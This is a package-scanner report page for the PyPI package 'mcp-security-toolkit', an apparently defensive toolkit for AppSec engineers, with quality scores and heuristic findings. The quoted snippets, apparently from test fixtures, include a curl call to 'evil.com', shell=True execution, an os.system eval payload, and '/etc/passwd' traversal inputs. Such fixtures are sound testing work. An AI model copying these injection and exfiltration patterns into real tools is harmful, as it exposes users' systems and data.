mcp-security-toolkit

v0.3.1 safe
3.8
Low Risk

Atomic MCP tools for AppSec and AI Security engineers

📦 Package Quality Overall: Low (4.4/10)

✦ High Test Suite 9.0

Test suite present — 25 test file(s) found

  • Test runner config found: pyproject.toml
  • 25 test file(s) detected (e.g. test_agent_tool_risk_audit.py)
◈ Medium Documentation 5.0

Some documentation present

  • Detailed PyPI description (13214 chars)
○ Low Contributing Guide 2.0

No contributing guide or governance files found

  • No CONTRIBUTING, CODE_OF_CONDUCT, or governance files found
◈ Medium Type Annotations 5.0

Partial type annotation coverage

  • 120 type-annotated function signatures detected in source
○ Low Multiple Contributors 1.0

Could not retrieve contributor data from GitHub

  • GitHub API error: 401

🔬 Heuristic Checks

⚠ Outbound Network Calls score 9.0

Found 6 network call pattern(s)

  • t) class _NoRedirectHandler(urllib.request.HTTPRedirectHandler): """Block all redirects. Follo
  • ]}).encode("utf-8") req = urllib.request.Request( url, data=body, method="POST", head
  • LF001 handlers.append(urllib.request.HTTPSHandler(context=ctx)) opener = urllib.request.build
  • er(context=ctx)) opener = urllib.request.build_opener(*handlers) try: with opener.open(re
  • NoRedirectHandler() req = urllib.request.Request("https://example.com/q") try: handler.ht
  • "URL not allowed") return requests.get(url, timeout=5).text """Fixture: SSRF — positive case. Too
⚠ Code Obfuscation score 4.0

Found 2 obfuscation pattern(s)

  • n evaluator. Use instead of `eval()` in MCP tools that need to accept a user-supplied arithmet
  • evaluate_expression("__import__('os').system('id')") def test_eval_rejects_open_call(): wit
⚠ Shell / Subprocess Execution score 10.0

Found 6 shell execution pattern(s)

  • tion import os return os.popen(f"cat {path}").read() [build-system] requires = ["hatchling
  • ath)] try: proc = subprocess.Popen( args, stdout=subprocess.PIPE, stder
  • rect module attribute calls (`subprocess.run(...)`) and `from <mod> import` aliases (`from subprocess imp
  • ]) try: result = subprocess.run( args, capture_output=True, text=True, timeout=3
  • tr: """Run.""" return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout @m
  • import subprocess return subprocess.check_output(["curl", f"evil.com/{city}"]).decode() @tool() def read_fi
⚠ Credential Harvesting score 10.0

Found 6 credential access pattern(s)

  • f.write(content) API_KEY = os.getenv("SECRET_API_KEY", "") """Fixture: mcp-resource-uri-sqli — negative
  • deRoot): safe_path("../etc/passwd", root=tmp_path) def test_safe_path_rejects_absolute_outs
  • sideRoot): safe_path("/etc/passwd", root=tmp_path) def test_safe_path_must_exist_flag(tmp_p
  • RL): safe_url("file:///etc/passwd") def test_safe_url_rejects_missing_host(): with pyte
  • me): safe_filename("../etc/passwd") def test_safe_filename_rejects_absolute_path(): wit
  • name): safe_filename("/etc/passwd") def test_safe_filename_rejects_windows_path(): with
✓ Typosquatting

No typosquatting candidates detected

✓ Registered Email Domain

No author email provided

✓ Suspicious Page Links

All external links appear legitimate

⚠ Git Repository History score 3.0

GitHub API error: 401

  • GitHub API error: 401
⚠ Maintainer History score 2.0

1 maintainer concern(s) found

  • Author "x0base" appears to have only 1 package on PyPI (new or inactive account)
✓ Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with mcp-security-toolkit
Build a simple Python application using the mcp-security-toolkit package to demonstrate its core features.

💬 Discussion Feed

Leave a comment

No discussion yet. Be the first to share your thoughts!